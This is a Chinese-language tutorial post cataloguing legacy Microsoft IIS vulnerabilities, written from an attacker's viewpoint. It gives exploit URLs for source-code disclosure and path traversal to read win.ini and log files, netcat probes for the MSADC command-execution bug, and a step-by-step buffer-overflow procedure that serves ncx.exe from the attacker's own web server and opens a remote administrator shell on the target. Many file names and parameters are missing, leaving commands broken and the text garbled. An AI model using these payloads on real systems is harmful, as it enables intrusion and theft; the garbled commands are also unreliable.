漏洞英文/Microsoft IIS漏洞整理_零基础攻防知识点
IIS漏洞整理
编译:施南
去年下半年关于IIS的漏洞层出不穷,鉴于目前IIS的广泛使用,觉得有必要把收集的资料加以总结一下。
1.介绍
这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。如果想方便一些,下载一些WWW、CGI扫描器来辅助检查。
而且要知道目标机器运行的是何种服务程序,你可以使用以下命令:
80
GET HEAD / HTTP/1.0
就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81,8000,8001口,你就相应的口上。
2.常见漏洞
(1)、Null.htw
IIS如果运行了Index 就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, .asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个"hit-"功能在Index 中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:
你可通过下列方法传递变量来获得如.ASP的源代码:
目标机.com/null.htw?=/.ASP%20&%20
=none%20&%20&=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。
(2)、MSADC- 执行本地命令漏洞
这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天,还有很多人在用.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是用户。我们可以通过以下办法测试本机是否存在这个漏洞:
c:\>nc -nw -w 2 80
GET /msadc/.dll HTTP
如果你得到下面的信息:
/
就很有可能存在此漏洞且没有打上补丁,你可以使用rain puppy网站的两个程序进行测()==>mdac.pl和.pl。
(3)、ASP Dot Bug
这个漏洞出现得比较早了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。目标机.com/.ASP.
(4)、idc & .ida Bugs
这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。
目标机.com/.idc 或者 .idq
(5)、+.htr Bug
这个漏洞是由发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:
目标机.com/.asa+.htr
(6)、NT Site 漏洞
通过请求site.csc,一般保存在///site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:
目标机.com///site.csc
(7)、IIS HACK
有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件.exe,ncx.exe,你可以到站点中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用.exe来检查目标机器:
c:\>.exe 80 /ncx.exe
然后你就使用来连接你要检测的服务器:
c:\>nc 80
如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。.ASP & .ASP 。.ASP和.ASP在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:
1..ASP 和 .ASP默认情况下不安装。
2.漏洞仅允许查看文件内容。
3.这个漏洞不能绕过 NT的ACL控制列表的限制。
4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的漏洞).
5,攻击者需要知道请求的文件名。
例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:
目标机.com//exair//.ASP?=/
/exair//.ASP
你就可以查看到.ASP的源代码了。
你也可以使用.ASP来查看文件:
目标机.com/msadc///.ASP?
=/msadc/../../../../../winnt/win.ini
当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比WEB服务器差,如:
/.ASP?=/msadc//../../../../..
/winnt.log
(8)、.dll & .htw
这个hit-功能是由Index 提供的允许一个WEB用户在文档上(突出)其原始搜索的条目,这个文档的名字通过变量传递给.htw文件,.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:
目标机.com/.htw
如果你从服务器端获得如下信息:
of the is
这就表示你存在这个漏洞。
这个问题主要就是.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:
///oop/.htw
///oop/.htw
//exair//.htw
//exair//.htw
//iss/misc/.htw (这个一般为使用)
攻击者可以使用如下的方法来访问系统中文件的内容:
目标机.com///oop/.htw?
=/../..
/winnt/win.ini&=none&=full
就会在有此漏洞系统中win.ini文件的内容。
(9)、ASP Data (::$DATA)
$DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data 属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data (数据流),这样做也就显示了文件代码中这些data (数据流)和任何文件所包含的数据代码。
其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,
要查看一些.ASP文件的内容,你可以请求如下的URL:
目标机.com/.ASP::$DATA 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:
~
网络安全学习,我们一起交流
~